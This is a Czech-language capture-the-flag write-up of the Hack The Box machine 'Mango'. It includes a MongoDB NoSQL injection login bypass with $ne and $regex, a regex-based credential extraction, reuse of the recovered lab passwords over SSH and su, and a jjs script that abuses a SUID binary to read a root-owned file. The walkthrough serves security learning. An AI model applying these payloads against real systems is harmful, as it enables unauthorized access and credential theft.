tom@home.htb:~$

Blog o HTB

16 December 2020

Mango

Úvod a kontext

Mango je dobrý příklad NoSQL injection, která sama o sobě ještě nedává shell, ale zato vydá reálné přihlašovací údaje. Z certifikátu a exponovaného vendor/ adresáře vyplyne, že aplikace pracuje s MongoDB. Přihlašovací formulář pak jde obejít pomocí operátorů jako $ne a $regex, takže se dají postupně vytáhnout celé dvojice uživatel:heslo.

Zbytek řetězce je už o reuse těchto dat. Jedno heslo otevře SSH jako mango, druhé dovolí přepnout se na admin a odtud už vede k rootu neobvyklá SUID binárka jjs.

Počáteční průzkum

Certifikát pro staging-order.mango.htb

Základní scan ukáže Apache na 80 a 443 a v TLS certifikátu hned vypadne důležitý hostname staging-order.mango.htb. To je silná indicie, že za HTTPS běží samostatná staging aplikace, kterou je potřeba přidat do /etc/hosts a zkoumat odděleně.

nmap -p 1-65535 -T4 -A -sC -v $IP
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))

ssl-cert: Subject: commonName=staging-order.mango.htb

vendor/composer prozradí MongoDB

Na staging webu dirb najde veřejně přístupný vendor/composer/installed.json. V něm jsou balíčky alcaeus/mongo-php-adapter a mongodb/mongodb, takže přihlašovací formulář stojí za test NoSQL injection místo klasické SQLi.

dirb http://staging-order.mango.htb
http://staging-order.mango.htb/vendor/
http://staging-order.mango.htb/vendor/composer/installed.json

alcaeus/mongo-php-adapter
mongodb/mongodb

Analýza zjištění

NoSQL injection přes $ne a $regex

První test username[$ne]=toto&password[$ne]=toto potvrdí, že backend interpretuje MongoDB operátory přímo z požadavku. To znamená, že formulář lze použít nejen k obejití loginu, ale i k postupnému zjišťování jmen a hesel přes prefixové regexy.

?login=login&username[$ne]=toto&password[$ne]=toto

Draft obsahuje i jednoduchý skript, který pomocí $regex prochází znak po znaku jak uživatelská jména, tak hesla. Výsledkem jsou dvě důležité dvojice: mango / h3mXK8RhU~f{]f5H a admin / t9KcS3>!0B#2.

python3 Mango-crackLogin.py
=> Credentials found: {'admin': 't9KcS3>!0B#2', 'mango': 'h3mXK8RhU~f{]f5H'}

Získání přístupu

SSH jako mango, pak su admin

První použitelné přihlašovací údaje jsou ty pro uživatele mango. Ty fungují přímo na SSH, takže není potřeba další webový exploit. Na hostu se pak vyplatí hned zkusit druhé nalezené heslo proti su admin, protože právě účet admin drží user.txt a zároveň otevírá cestu k rootu.

ssh mango@$IP
su admin
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2

Získání user flagu

Foothold je na Mango záměrně dvoustupňový. SSH jako mango je jen mezistanice; teprve admin představuje plnohodnotný lokální kontext.

cat user.txt
__CENSORED__

Eskalace oprávnění

SUID jjs

Na účtu admin už stačí projít SUID binárky. Z nich vystupuje jjs, JavaScript shell pro Nashorn. Pokud běží se zvýšenými právy, dá se přes Java API přímo číst libovolný soubor. Tím pádem není nutné spawnovat root shell; pro flag stačí otevřít /root/root.txt.

find / -perm -4000 -type f 2>/dev/null
=> /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - php - java - exploit - enumeration